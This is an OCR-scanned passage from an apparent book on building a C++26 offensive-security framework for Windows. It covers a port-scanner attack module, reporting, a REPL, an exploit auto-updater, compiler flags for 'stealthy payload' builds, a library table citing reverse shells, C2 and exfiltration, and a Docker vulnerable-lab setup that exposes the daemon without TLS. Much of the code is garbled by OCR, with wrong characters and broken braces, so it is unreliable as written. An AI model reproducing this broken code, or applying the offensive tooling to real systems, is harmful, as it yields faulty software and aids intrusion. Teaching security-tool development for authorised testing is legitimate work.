for (auto& f : futures) f.wait();

for (int p : open_ports) {

n

res.output += "Port " + std::to_string(p) + " open\n”;
res.datalstd::to_string(p)] = "open”;

3
res.success = !open_ports.empty();

return res;

void cleanup() override {}

e

extern "C" __declspec(dllexport) AttackModulex create_module() {

return new PortScannerModule();

}
extern "C" __declspec(dllexport) void destroy_module(AttackModulex m) {

delete m;

Compilation of a module:

cl /std:c++latest /02 /LD portscanner_module.cpp /Fe:portscanner.dll /link ws2_32.1lib
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12.2 Writing an Automatic Reporting System (HTML, JSON,
PDF) Using std::format and std::json (Proposed for
C++26)

The reporting system consumes ‘AttackResult‘ structures from executed modules and generates
professional reports in HTML, JSON, and PDF formats. The C++20 ‘std::format* library is used
for type-safe string formatting, and we illustrate the proposed ‘std::json‘ (P2587R0) syntax for
JSON output. For PDF generation, we integrate the libharu library (installable via vepkg). The

system creates a timestamped report directory and writes all outputs.

JSON Report Using Proposed std::json Syntax

The following example demonstrates how ‘std::json‘ might be used in C++26. Since the standard

is not yet finalized, we provide a compatibility layer using the popular ‘nlohmann/json® library.

// reporting.cpp - Report generator using std::format and nlohmann/json
#include <iostream>

#include <fstream>

#include <format>

#include <string>

#include <vector>

#include <map>

#include <chrono>

#include <iomanip>

#include <nlohmann/json.hpp>
#include <hpdf.h>

using json = nlohmann::json;

std::string timestamp_string() {
auto now = std::chrono::system_clock: :now();
auto time_t = std::chrono::system_clock::to_time_t(now);
std::tm tm;
localtime_s(&tm, &time_t);
return std::format("{:04d}-{:02d}-{:02d}_{:02d}-{:02d}-{:02d}",
tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday,

tm.tm_hour, tm.tm_min, tm.tm_sec);
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class ReportGenerator {
private:
std: :vector<AttackResult> results;

std::string report_dir;

public:
ReportGenerator(const std::string& dir = "reports”) : report_dir(dir) {

CreateDirectoryA(report_dir.c_str(), nullptr);

void add_result(const AttackResult& res) {

results.push_back(res);

void generate_json() {

json j;

j["report_time"”] = timestamp_string();

j["total_modules”"] = results.size();

for (const auto& res : results) {
json module_json;
module_json["name"] = res.module_name;
module_json["success"] = res.success;
module_json["output”] = res.output;
module_json["data"] = res.data;
j["results”].push_back(module_json);

3

std::string filename = report_dir + "/report_" + timestamp_string() +

.json";
std::ofstream file(filename);

file << j.dump(4);

std::cout << "JSON report saved to " << filename << "\n";

void generate_html() {
std::string filename = report_dir + "/report_" + timestamp_string() + ".html";
std::ofstream file(filename);
file <<
"<IDOCTYPE html><html><head><title>Security Assessment Report</title></head><body>\n";
file << std::format("”"<h1>Security Assessment Report</h1>\n");
file << std::format(”"<p>Generated: {}</p>\n", timestamp_string());
file << std::format("<p>Total modules executed: {}</p>\n", results.size());
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for (const auto& res : results) {
file << std::format("”"<h2>Module: {}</h2>\n", res.module_name);
file << std::format("<p>Success: {}</p>\n", res.success ? "Yes” : "No");
file << std::format("<pre>{}</pre>\n", res.output);

}

file << "</body></html>";

std::cout << "HTML report saved to " << filename << "\n";

void generate_pdf() {
HPDF_Doc pdf = HPDF_New(nullptr, nullptr);
if (!pdf) return;
HPDF _AddPage (pdf);
HPDF_Page page = HPDF_GetCurrentPage(pdf);
HPDF_Page_SetSize(page, HPDF_PAGE_SIZE_A4, HPDF_PAGE_PORTRAIT);
HPDF_Page_BeginText(page);
HPDF_Page_SetFontAndSize(page, HPDF_GetFont(pdf, "Helvetica”, nullptr), 12);
HPDF_Page_TextOut (page, 50, 800, "Security Assessment Report”);
HPDF_Page_TextOut(page, 50, 780, ("Generated: " + timestamp_string()).c_str());
int y = 750;
for (const auto& res : results) {
HPDF_Page_TextOut(page, 50, y, ("Module: " + res.module_name).c_str());
y -= 20;
HPDF_Page_TextOut(page, 60, y, ("Success: " +
— std::to_string(res.success)).c_str());
y —= 20;
if (y < 50) break;
}
HPDF_Page_EndText (page);
std::string filename = report_dir + "/report_" + timestamp_string() + ".pdf";
HPDF_SaveToFile(pdf, filename.c_str());
HPDF _Free(pdf);

std::cout << "PDF report saved to " << filename << "\n";

3

int main() {
ReportGenerator rep;
AttackResult r;
r.module_name = "PortScanner”;

r.success = true;
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r.output = "Port 22 open\nPort 80 open\n”;
r.data["22"] = "open”;

r.datal["80"] = "open”;

rep.add_result(r);

rep.generate_json();

rep.generate_html();

rep.generate_pdf();

return 0;

Compilation (requires nlohmann/json and libharu):

# Install via vcpkg: vcpkg install nlohmann-json libharu

cl /std:c++latest /02 reporting.cpp /Fe:reporting.exe /Ipath\to\include /link libharu.lib
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12.3 Building an Interactive REPL Command Line Interface

Using std::generator and Coroutines

A Read-Eval-Print Loop (REPL) allows users to interactively execute modules, inspect results,
and chain commands. C++23 introduced ‘std::generator‘, a coroutine-based generator that yields
a sequence of values. Although not yet universally implemented, we can simulate a generator
using a simple iterator or use the ‘cppcoro® library. For this example, we implement a REPL
using standard input and a command parser, and illustrate how ‘std::generator‘ could be used to
lazily generate command completions.

The REPL supports commands: ‘list‘ (list loaded modules), ‘run <module> [key=value ...]°,
‘report <format>°, ‘exit‘. Command history and tab completion are optional. The REPL runs in a

separate thread (using ‘std::jthread‘) and communicates with the framework.

// repl.cpp - Interactive REPL with coroutine-based command generator
#include <iostream>

#include <string>

#include <vector>

#include <map>

#include <sstream>

#include <algorithm>

#include <thread>

#include <stop_token>

#include <ranges>

#include <coroutine>

// Simulated generator (simplified; real std::generator would be used)
template<typename T>
struct Generator {
struct promise_type {
T current_value;
std: :suspend_always yield_value(T value) {
current_value = value;
return {3};
}
std: :suspend_always initial_suspend() { return {}; }
std: :suspend_always final_suspend() noexcept { return {}; }
Generator get_return_object() { return
< Generator{std: :coroutine_handle<promise_type>::from_promise(*this)3}; }

void unhandled_exception() { std::terminate(); }
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5

using handle_type = std::coroutine_handle<promise_type>;
handle_type coro;

Generator(handle_type h) : coro(h) {}

~Generator() { if (coro) coro.destroy(); 2}

bool next() { coro.resume(); return !coro.done(); }

T value() { return coro.promise().current_value; }

3

// Command completion generator (yields possible completions)
Generator<std::string> complete_command(const std::string& partial, const
— std::vector<std::string>& commands) {
for (const auto& cmd : commands) {
if (cmd.find(partial) == @) {

co_yield cmd;

class REPL {

private:
Framework& framework;
std: :vector<std::string> commands = {"list"”, "run”, "report”, "exit"”, "help"};
std::jthread input_thread;

std: :stop_source stop;

void process_line(const std::string& line) {
std::istringstream iss(line);
std::string cmd;
iss >> cmd;
if (emd == "list") {
std::cout << "Loaded modules:\n";
// Assume framework has method to list module names
} else if (cmd == "run") {
std: :string module_name;
iss >> module_name;
std: :map<std::string, std::string> params;
std::string kv;
while (iss >> kv) {
auto eq = kv.find('=");
if (eq != std::string::npos) {
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params[kv.substr(@, eq)] = kv.substr(eq + 1);

}
try {
framework.run_module(module_name, params);
} catch (const std::exception& e) {
std::cerr << "Error: " << e.what() << "\n";
}
} else if (cmd == "report”) {
std::string format;
iss >> format;
// Generate report
} else if (cmd == "exit") {
stop.request_stop();
} else if (cmd == "help”) {
std: :cout <<
— "Commands: list, run <module> [key=value ...], report <json|html|pdf>, exit\n";
} else {
// Try completion
auto gen = complete_command(cmd, commands);
std::cout << "Did you mean: ";
while (gen.next()) {
std::cout << gen.value() << " ";
}

std::cout << "\n";

void input_loop(std::stop_token st) {
std::string line;
while (!st.stop_requested() && std::getline(std::cin, line)) {
if (line.empty()) continue;

process_line(line);

public:
REPL (Framework& fw) : framework(fw) {
input_thread = std::jthread([this](std::stop_token st) { input_loop(st); });
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void run() {
std::cout << "Cybersecurity Framework REPL (type 'help' for commands)\n";

input_thread. join();

Integration with Framework

The REPL class is instantiated with the framework object. The ‘process_line* function calls
‘framework.run_module* which loads and executes the requested attack module, then reports

results via the reporting system.
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12.4 Embedding an Auto-Update System for Exploits (Git Pull

via libcurl)

An auto-update system ensures the framework always has the latest modules and exploit
definitions. The update mechanism uses libcurl to perform a Git pull over HTTPS from a remote
repository (e.g., GitHub). The system checks for updates at startup and optionally on user
command. The update process clones the repository if not present, otherwise pulls the latest
changes. After updating, the framework reloads modules from the new version.

The following implementation uses libcurl to download the repository as a ZIP archive or to
perform a ‘git pull‘ by spawning the git process. For simplicity, we spawn ‘git.exe‘ (which must
be installed). A more robust approach would use libgit2, but spawning git is acceptable for

demonstration.

// updater.cpp - Auto-update using libcurl and git
#include <iostream>

#include <string>

#include <cstdlib>

#include <filesystem>

#include <curl/curl.h>
namespace fs = std::filesystem;

size_t write_data(void* ptr, size_t size, size_t nmemb, std::string* data) {
data->append((charx)ptr, size * nmemb);

return size * nmemb;

class Updater {
private:
std::string repo_url;

std::string local_path;

public:
Updater(const std::string& url, const std::string& path) : repo_url(url),
— local_path(path) {3}

bool check_for_updates() {
// Simple version check: download a version file from raw URL

CURL* curl = curl_easy_init();
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if (!curl) return false;

std::string response;

std::string version_url = repo_url + "/raw/main/version.txt";
curl_easy_setopt(curl, CURLOPT_URL, version_url.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);

CURLcode res = curl_easy_perform(curl);
curl_easy_cleanup(curl);

if (res != CURLE_OK) return false;

std::string local_version = "0.0.0";

if (fs::exists(local_path + "/version.txt")) {
std::ifstream vf(local_path + "/version.txt");
std::getline(vf, local_version);

b

return response != local_version;

void perform_update() {
std::cout << "Updating from " << repo_url << "...\n";
// If local_path exists, do git pull; else git clone
std::string cmd;
if (fs::exists(local_path + "/.git")) {
cmd = "git -C " + local_path + " pull”;
} else {

cmd

n n n

"git clone " + repo_url + + local_path;

3
int ret = std::system(cmd.c_str());

if (ret == 0) {

std::cout << "Update successful.\n";

// Reload modules (framework should re-scan the module directory)
} else {
std::cerr << "Update failed.\n";
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12.5 Documenting and Releasing the Framework as Open
Source (With Ethical Warnings)

The final step is to produce professional documentation and release the framework under an
open-source license (e.g., MIT or GPL). Documentation includes API reference, module
development guide, user manual, and a clear ethical use policy. The following LaTeX snippet
shows the ethical disclaimer that must be included in all documentation and displayed on

framework startup.

\subsection*{Ethical Use Policy}

The framework is designed exclusively for authorized security testing, educational research,
— and defensive purposes. Unauthorized use against systems without explicit written

— permission is illegal and unethical. Users assume all legal responsibility. The authors

— disclaim any liability for misuse.

The release package includes: - Precompiled binaries for Windows (x64) with Visual Studio
2026 runtime. - Source code under ‘src/¢ with CMake build files. - Module SDK and examples. -
Comprehensive ‘README.md* with installation, usage, and legal warnings. - License file (MIT
License).

A sample ‘README.md* excerpt:

# C++26 Cybersecurity Framework
**WARNING: Use only on systems you own or have explicit permission to test.x*

## Installation
- Install Visual Studio 2026 with C++ desktop development.
- Install vcpkg and required libraries: “vcpkg install curl nlohmann-json libharu™.

- Clone the repository and run “build.bat".

## Usage

Run ~framework.exe™ to start the REPL. Type “help™ for commands.

## Modules
Place compiled DLLs in the “modules/~ directory. Use the “list™ command to see available

— modules.

## Reporting

After running modules, use “report json™, “report html>, or “report pdf~ to generate reports.
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## License
MIT License. See LICENSE file.
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12.6 Summary

This chapter completed the professional hacking framework with:

An extensible module system using DLL plugins and a common attack interface.

* An automatic reporting system supporting HTML, JSON, and PDF outputs using
‘std::format‘ and ‘std::json‘ (proposed) plus third-party libraries.

* An interactive REPL command line interface using coroutines for command completion.
* An auto-update system using libcurl and Git to pull the latest exploits and modules.
* Documentation and open-source release guidelines with ethical warnings.

The framework integrates all techniques from previous chapters into a cohesive, production-ready

tool for offensive and defensive cybersecurity research.



Appendices

Appendix A: Quick Reference of New C++26 Features for

Security

This appendix provides a concise reference to C++26 language and library features most relevant
to building offensive and defensive security tools on Windows with Visual Studio 2026. The
table below summarizes each feature, its corresponding ISO committee paper (where applicable),

and its primary security application.

Compiler Support Status (Windows, Visual Studio 2026)

* MSVC v14.50 (Visual Studio 2026): Full C++23 support; C++26 features available via
‘/std:c++latest‘. Complete implementation of ‘std::mdspan°, ‘std::inplace_vector®,
extended ‘constexpr‘, and ‘std::print‘. Reflection (P2996R13) and contracts (P2900R7) are

experimental (‘/experimental:reflect®, ‘/experimental:contracts®).

* GCC 15.2 (crosscompilation reference): Full C++26 core language including reflection,

contracts, and extended ‘constexpr®.
* Clang 19 (crosscompilation reference): Full C++26 core language with ‘-std=c++26
-freflection®.
Code Examples for Key Security Features

Compile-time Reflection for Protocol Parsers

#include <experimental/reflect>

using namespace std::experimental::reflect;

template<typename T>
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constexpr void generate_parser() {
consteval auto members = nonstatic_data_members_of (**T);
for (constexpr auto member : members) {

// Compile-time generation of parsing logic for each field

Contracts for Fuzzing Harnesses

int process_packet(const uint8_t* data, size_t len)
[[pre: data != nullptr && len > 0]]
[[post: return >= 0]] {

// Implementation

std::inplace_vector for Zero-Allocation Packet Crafting

#include <inplace_vector>
std: :inplace_vector<uint8_t, 1500> packet;
packet.push_back(@x45); // No heap allocation

std::mdspan for Packet Parsing

#include <mdspan>

std: :mdspan<const uint8_t, std::dextents<size_t, 2>> view(
buffer.data(), num_packets, max_packet_size);

uint8_t header = view[0Q, 14];

constexpr cast from void* for Compile-time Deserialization

constexpr uint32_t deserialize(const void* data) {

return *static_cast<const uint32_t*>(data); // Allowed in C++26

Appendix B: Essential Visual Studio 2026 Commands and

Optimization Flags for Security Development

This appendix documents the Microsoft C/C++ compiler (MSVC) v14.50 toolchain in Visual
Studio 2026. All flags are demonstrated with command-line examples suitable for the Developer

Command Prompt.
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Setting Up the Developer Command Prompt for VS 2026

# Start menu > "Developer Command Prompt for VS 2026"
# Or run from installation path:

"C:\Program Files\Microsoft Visual Studio\2026\Community\Common7\Tools\VsDevCmd.bat"

Core Language and Standard Flags

Optimization Flags for Performance and Stealth

# Full speed optimization with architecture-specific instructions
cl /std:c++latest /02 /0t /0i /QOy- /arch:AvX2 /fp:fast exploit.cpp

Security Hardening Flags (ASLR, DEP, CFG, Spectre)

# Full hardening for a production exploit payload
cl /std:ct+latest /02 /GS /guard:cf /DYNAMICBASE /HIGHENTROPYVA /Qspectre /sdl exploit.cpp

Memory Safety and Sanitizer Flags

# AddressSanitizer for finding memory bugs (development only)

cl /std:ct+latest /fsanitize=address /Zi /0d fuzzer.cpp

Static and Dynamic CRT Linking

# Static linking (no external CRT DLLs) recommended for standalone tools

cl /std:c++latest /MT /02 exploit.cpp

# Dynamic linking (requires vcruntime140.dll) smaller binary size

cl /std:c++latest /MD /02 exploit.cpp

Complete Command Line for a Stealthy Payload

cl /std:ct++latest /02 /0i /GS /guard:cf /DYNAMICBASE /HIGHENTROPYVA /Qspectre /sdl /MT /GL
— /LTCG payload.cpp /Fe:payload.exe /link /LTCG
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Verifying Security Features in the Binary

dumpbin /headers payload.exe | findstr "DLL"
dumpbin /loadconfig payload.exe | findstr "Guard”
dumpbin /dependents payload.exe

Recommended Baseline for All Security Tools

# Release build with full security hardening (no sanitizers)
cl /std:c++latest /02 /GS /guard:cf /DYNAMICBASE /HIGHENTROPYVA /Qspectre /sdl /MT /GL /LTCG
— source.cpp /Fe:tool.exe /link /LTCG

# Debug build with ASan for fuzzing
cl /std:ct+latest /fsanitize=address /Zi /0d /MTd source.cpp /Fe:tool_debug.exe

Appendix C: Recommended External Libraries

This appendix lists essential third-party C++ libraries for security tool development on Windows.
All libraries can be installed using the ‘vcpkg‘ package manager integrated with Visual Studio
2026.

Installing vepkg and Configuring Integration

# Clone vcpkg (if not already installed)

git clone https://github.com/microsoft/vcpkg
cd vcpkg

.\bootstrap-vcpkg.bat

.\vcpkg integrate install

Library Reference Table

Example: Installing and Using PcapPlusPlus

vcpkg install pcapplusplus:x64-windows-static

#include <PcapLiveDevicelist.h>
#include <SystemUtils.h>
int main() {

pcpp: :PcapLiveDevice* dev =

— pcpp::PcapLiveDevicelist::getInstance().getPcapLiveDeviceByIp("”192.168.1.1");
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if (dev) dev->startCapture([](pcpp::RawPacket* packet, pcpp::PcapLiveDevice* dev, voidx
— cookie) {

// Process packet

s

Example: Using Crypto++ for Payload Encryption

vcpkg install cryptopp:x64-windows-static

#include <cryptopp/aes.h>
#include <cryptopp/modes.h>
#include <cryptopp/filters.h>
using namespace CryptoPP;
std::string encrypt(const std::string& plain, const byte* key, const bytex iv) {
std::string cipher;
CBC_Mode<AES>: :Encryption e;
e.SetKeyWithIV(key, 16, iv);
StringSource(plain, true, new StreamTransformationFilter(e, new StringSink(cipher)));

return cipher;

Linking with Static Libraries

When using ‘/MT* (static CRT), ensure vcpkg libraries are built with the static triplet
(‘x64-windows-static‘). Add the following to your CMakeLists.txt:

set (VCPKG_TARGET_TRIPLET x64-windows-static-md)
find_package(PcapPlusPlus CONFIG REQUIRED)
target_link_libraries(my_tool PRIVATE PcapPlusPlus::PcapPlusPlus)

Appendix D: Setting Up Vulnerability Test Environments
(Docker Desktop on Windows)

A safe, isolated environment is essential for testing exploits and practicing offensive techniques.
Docker Desktop on Windows provides lightweight containers with preconfigured vulnerable

applications.



293

Prerequisites
* Windows 10/11 (64bit, 22H2 or later) with HyperV and Containers features enabled.
* Hardware virtualization support (BIOS/UEFI).

* Administrator privileges.

Step 1: Install WSL 2 (Windows Subsystem for Linux)

Open PowerShell as Administrator and run:

wsl --install

wsl --set-default-version 2

Restart when prompted.

Step 2: Install Docker Desktop for Windows
1. Download Docker Desktop from the official website.
2. Run the installer, select Use WSL 2 instead of Hyper-V (recommended).

3. After installation, launch Docker Desktop and go to Settings > General enable Expose

daemon on tcp://localhost:2375 without TLS (only for local testing).

4. In Resources > WSL Integration, enable integration with your installed WSL distribution
(e.g., Ubuntu).

Step 3: Verify Docker Installation

docker --version

docker run hello-world

Step 4: Pull Vulnerable Docker Images

# Damn Vulnerable Web Application (DVWA)

docker pull vulnerables/web-dvwa

# Metasploitable 2 (Ubuntu 8.04 with many vulnerabilities)
docker pull tleemcjr/metasploitable?2
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# OWASP Juice Shop (modern vulnerable web app)

docker pull bkimminich/juice-shop

# OWASP WebGoat (web application security training)
docker pull webgoat/goatandwolf

# Vulnerable SMB/CVE-2017-7494 (SambaCry)
docker pull vulnerables/cve-2017-7494

Step 5: Running Vulnerable Containers

# DVWA on port 8080

docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa

# Metasploitable 2 (SSH on 2222, HTTP on 8081)
docker run -d -p 2222:22 -p 8081:80 --name metasploitable tleemcjr/metasploitable2

# Juice Shop on port 3000

docker run -d -p 3000:3000 --name juice-shop bkimminich/juice-shop

# WebGoat on port 8082
docker run -d -p 8082:8080 --name webgoat webgoat/goatandwolf

Step 6: Docker Compose for a Complete Pentest Lab

Create a ‘docker-compose.yml* file:

version: '3.8'
services:
dvwa:
image: vulnerables/web-dvwa
ports:
- "8080:80"
networks:
- pentest-net
metasploitable:
image: tleemcjr/metasploitable2
ports:
- "2222:22"
- "8081:80"
networks:

- pentest-net
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juice-shop:
image: bkimminich/juice-shop
ports:
- "3000:3000"
networks:
- pentest-net
networks:
pentest-net:

driver: bridge

Start the lab:

docker-compose up -d

Step 7: Accessing the Vulnerable Applications

DVWA: ‘http://localhost:8080° (login: admin/password)

* Metasploitable 2: SSH ‘localhost:2222¢ (msfadmin/msfadmin), HTTP
‘http://localhost:8081 ¢

* Juice Shop: ‘http://localhost:3000°

* WebGoat: ‘http://localhost:8082/WebGoat*

Step 8: Cleaning Up

# Stop and remove containers
docker stop dvwa metasploitable juice-shop webgoat

docker rm dvwa metasploitable juice-shop webgoat

# Remove networks created by docker-compose

docker-compose down

Important Security Warning

Never expose these containers to a public network. Always use NAT or hostonly networking. Do
not run untrusted exploit code on a production machine. Take snapshots of the containers before

starting destructive tests.
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Feature Paper(s) Security Application

Compile-time P2996R 13 Automatic  generation of protocol

reflection parsers, compile-time fuzzing harnesses,
serialization without runtime overhead,
exhaustive enumeration of all enum
values for state fuzzing.

Contracts P2900R7 Formal validation of exploit primitives,

(preconditions/postcor

nditions)

self-checking fuzzing harnesses, runtime

assertion of critical invariants.

std::execution

(sender/receiver)

P2300R7

(re-evaluated)

Standardized asynchronous and
parallel  programming model for
high-concurrency  network  scanners,

coordinated C2 frameworks, and real-time

packet processing.

constexpr cast from | P2738R1 Compile-time type erasure, constexpr

void* ‘std::any* / ‘std::function‘, compile-time
deserialization of binary data (e.g.,
parsing PE headers at compile time).

constexpr placement | C++26 Compile-time object construction in

new extension pre-allocated  buffers, zerooverhead
memory pools for runtime payloads.

constexpr structured | C++26 Compile-time decomposition of network

bindings extension headers, meta-programming for packet
field extraction.

constexpr virtual | C++26 Compile-time polymorphism for protocol

functions extension state machines, zero-overhead abstract
interfaces for exploit frameworks.

std::inplace_vector P0O843R 14 Zero-allocation packet crafting,
stack-based frame storage for real-time
exploits, elimination of dynamic memory
in timingsensitive paths.

std::generator C++23 Lazy generation of fuzzing inputs,

(refined) incremental test case enumeration,

memory-efficient sequence production
for longrunning scans.

std::mdspan (C++23, | POOO9R18 Multi-dimensional ~ packet  parsing,
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Flag Example Purpose
‘/std:c++latest’ ‘cl /std:c++latest | Enables all implemented C++23 and
source.cpp’ C++26 preview features (reflection,
contracts, ‘std::execution®).
‘/permissive-* ‘cl /permissive- | Enforces strict standard conformance,

/std:c++latest”

reducing undefined behavior.

‘/Zc:__cplusplus®

‘cl /Zc:__cplusplus®

Makes ‘__cplusplus‘ macro report correct

standard version.

Flag Example Purpose
‘102°¢ ‘cl /02 source.cpp® | Maximizes speed, reduces timing
variations.
/0t¢ ‘cl /Ot source.cpp* Favors fast code over size.
‘10i¢ ‘cl /Oi source.cpp* Enables intrinsic functions (inlines
critical code).
‘/Oy-* ‘cl /Oy- source.cpp‘ | Disables frame pointer omission (better
stack traces).
‘farch: AVX2° ‘cl /arch:AVX?2 | Enables AVX2 SIMD instructions for
source.cpp* cryptography.
‘/fp:fast ‘cl /fp:fast | Fast floating-point model.
source.cpp*
‘/GL* ‘cl /GL /LTCG | Whole program optimization for smaller
source.cpp* binaries.
‘/LTCG* (linker) Link-time code generation.
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Flag Example Security Justification
‘/GS* ‘cl /GS source.cpp® | Buffer Security Check (stack canaries).
‘/guard:cf* ‘cl /guard:cf | Control Flow Guard validates indirect
source.cpp’ call targets.
‘‘DYNAMICBASE® | ‘cl ASLR randomizes base address.
/DYNAMICBASE
source.cpp’
‘HIGHENTROPY VA “‘cl Highentropy ASLR for 64bit processes.
/HIGHENTROPY VA
source.cpp’
‘/Qspectre* ‘cl /Qspectre | Spectre vl / v2 mitigation (LFENCE
source.cpp’ insertion).
‘/Qspectre-load* ‘cl  /Qspectre-load | Spectre v4 mitigation for speculative
source.cpp’ stores.
‘/sdl¢ ‘cl /sdl source.cpp® | Security Development Lifecycle checks
(deprecates unsafe functions).
‘/CETCOMPAT* ‘cl /CETCOMPAT | Marks binary as compatible with Intel
source.cpp’ CET (Shadow Stack).
‘/guard:ehcont’ ‘cl  /guard:ehcont | EH Continuation Guard.
source.cpp’
‘INXCOMPAT* (linker flag) Enables DEP. Added automatically with
‘‘DYNAMICBASE".
Flag Example Purpose
‘/fsanitize=address® | ‘cl AddressSanitizer detects heap/stack
/fsanitize=address overflows, useafterfree, doublefree.
source.cpp’
‘17 ‘cl /Zi source.cpp* Generates debug symbols (required for
ASan stack traces).
/0d° ‘cl /Od source.cpp® | Disables optimization for better sanitizer

diagnostics.
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Flag Example Purpose

‘/MT* ‘cl /MT source.cpp® | Static link to multithreaded CRT
standalone executable.

‘‘MD* ‘cl /MD source.cpp‘ | Dynamic link to multithreaded CRT

requires redistributable DLLs.
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Library vepkg Installation | Use Case in Security Tools
Asio ‘vepkg install asio* Asynchronous networking (C2
frameworks, reverse shells, port
scanners). Headeronly.
fmt ‘vepkg install fmt* Modern string formatting
(‘std::format®  before = C++20).
Required for older toolchains.
PcapPlusPlus ‘vepkg install | C++ wrapper for libpcap/Npcap
pcapplusplus* packet capture, injection, parsing
(Ethernet, IP, TCP, UDP).
Crypto++ ‘vepkg install | Cryptographic primitives
cryptopp* (encryption,  hashing, random
number generation) for stealth C2
and payload obfuscation.
Capstone ‘vepkg install | Disassembly engine (x86,
capstone* x64, ARM, MIPS) for reverse
engineering and shellcode analysis.
nlohmann/json ‘vepkg install | JSON parsing for configuration, C2
nlohmann-json* messaging, and report generation.
libcurl ‘vepkg install curl® HTTP/HTTPS client for beaconing,
exfiltration, and autoupdates.
libharu ‘vepkg install | PDF generation for penetration test
libharu* reports.
OpenSSL ‘vepkg install | TLS/SSL encryption, certificate
openssl‘ handling, cryptographic utilities.
libpcap (Npcap) Download from | Raw packet capture and injection on
npcap.com Windows (replaces WinPcap).
Qt6 ‘vepkg install | GUI for security tools (optional).
qt6-base*
spdlog ‘vepkg install | Highperformance logging for audit
spdlog® trails.

Table A.2: Recommended external libraries
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